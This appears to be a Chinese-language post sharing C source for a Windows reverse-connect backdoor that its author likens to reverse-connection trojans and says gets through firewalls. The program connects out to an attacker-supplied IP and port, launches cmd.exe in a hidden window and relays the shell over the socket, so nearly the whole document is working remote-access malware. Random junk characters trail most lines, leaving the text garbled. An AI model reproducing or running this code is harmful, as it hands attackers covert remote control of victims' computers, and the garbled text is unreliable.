这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ]J%p&y+6
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/* ============================== k-uwK-B}v+
Rebound port in Windows NT rIg5Wcd
By wind,2006/7 @h&crI[c
===============================*/ ?UPZ49y
#include Z[{k-_HgAm
#include uK5&HdoM
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T
#pragma comment(lib,"wsock32.lib") +g6t)Gl
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void OutputShell(); rL=_z^.P
SOCKET sClient; |d B`URP
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; c>(`X@KL
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void main(int argc,char **argv) M_Qv{
{ :~1sF_
WSADATA stWsaData; ,GH;jw)P
int nRet; >){"x(4`
SOCKADDR_IN stSaiClient,stSaiServer; /QeJ#EHn
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if(argc != 3) D@cv{
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printf("Useage:\n\rRebound DestIP DestPort\n"); _FRwaFVJ3
return; And|T 6u
} }>|M6.n "
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WSAStartup(MAKEWORD(2,2),&stWsaData); } 9qbF+b
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =(^-s Jk
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stSaiClient.sin_family = AF_INET; 0Ek+ }`
stSaiClient.sin_port = htons(0); /s\_"p
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); +?!x;qS^
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) .-Xp]>f,
{ 'K9{xI@N
printf("Bind Socket Failed!\n");
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return; PU6Sa-fQ2,
} APC,p,"
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stSaiServer.sin_family = AF_INET; ?1G7=R
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); d? Old
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); lhk[U!>#
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) u6,NQ^4
{ I,:R~^qJ8v
printf("Connect Error!"); G q" [5r"
return; R6N+c\W
} FccT@,.F
OutputShell(); .[E"Kb}=
} &s|a\!>l
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void OutputShell() g@<E0
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{ bHi0N@W!vG
char szBuff[1024]; oBm^RHTZ
SECURITY_ATTRIBUTES stSecurityAttributes; R>ak 3Y
OSVERSIONINFO stOsversionInfo; !2R<T/9~
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; n8!qz:z/
STARTUPINFO stStartupInfo; QX'EMyK$
char *szShell; 0x-58i0
PROCESS_INFORMATION stProcessInformation; "0nT:!BZ
unsigned long lBytesRead; bvuoo/
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); |9;6Cp
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); !&3iZQGWv
stSecurityAttributes.lpSecurityDescriptor = 0; ~is$Onf99#
stSecurityAttributes.bInheritHandle = TRUE; q:y_#r"_y
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); >|"mhNF
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); vu&%e\gM
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); L+c7.l.yT
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &!y7PWHJ
stStartupInfo.wShowWindow = SW_HIDE; :< )"G&
stStartupInfo.hStdInput = hReadPipe; q]-CTx$
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; j#C1+Us
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GetVersionEx(&stOsversionInfo); }|k_sx:
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switch(stOsversionInfo.dwPlatformId) |b@H]c;"
{ fVU9?^0/)9
case 1: wz,T7L
szShell = "command.com"; *q ?-M"K
break; Hyw T
default: n>_EEw2/
szShell = "cmd.exe"; :N826_q
break; 6(Qr!<
} k
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); N34.Bt
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send(sClient,szMsg,77,0); Xm|Uz`A;
while(1) f1a >C
{ 3H_mR
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); y;!q E~!3
if(lBytesRead) `Jvy~T
{ a cSm+t
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); eYER"E
send(sClient,szBuff,lBytesRead,0); QW5S=7
} WMo
else an4^(SY
{ b.`<T"y
lBytesRead=recv(sClient,szBuff,1024,0); C+*qU
if(lBytesRead<=0) break; NV|[.g=lg
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 6z/ct|n
} %{fa
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} G2bZl%
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return; hnQDm$k
}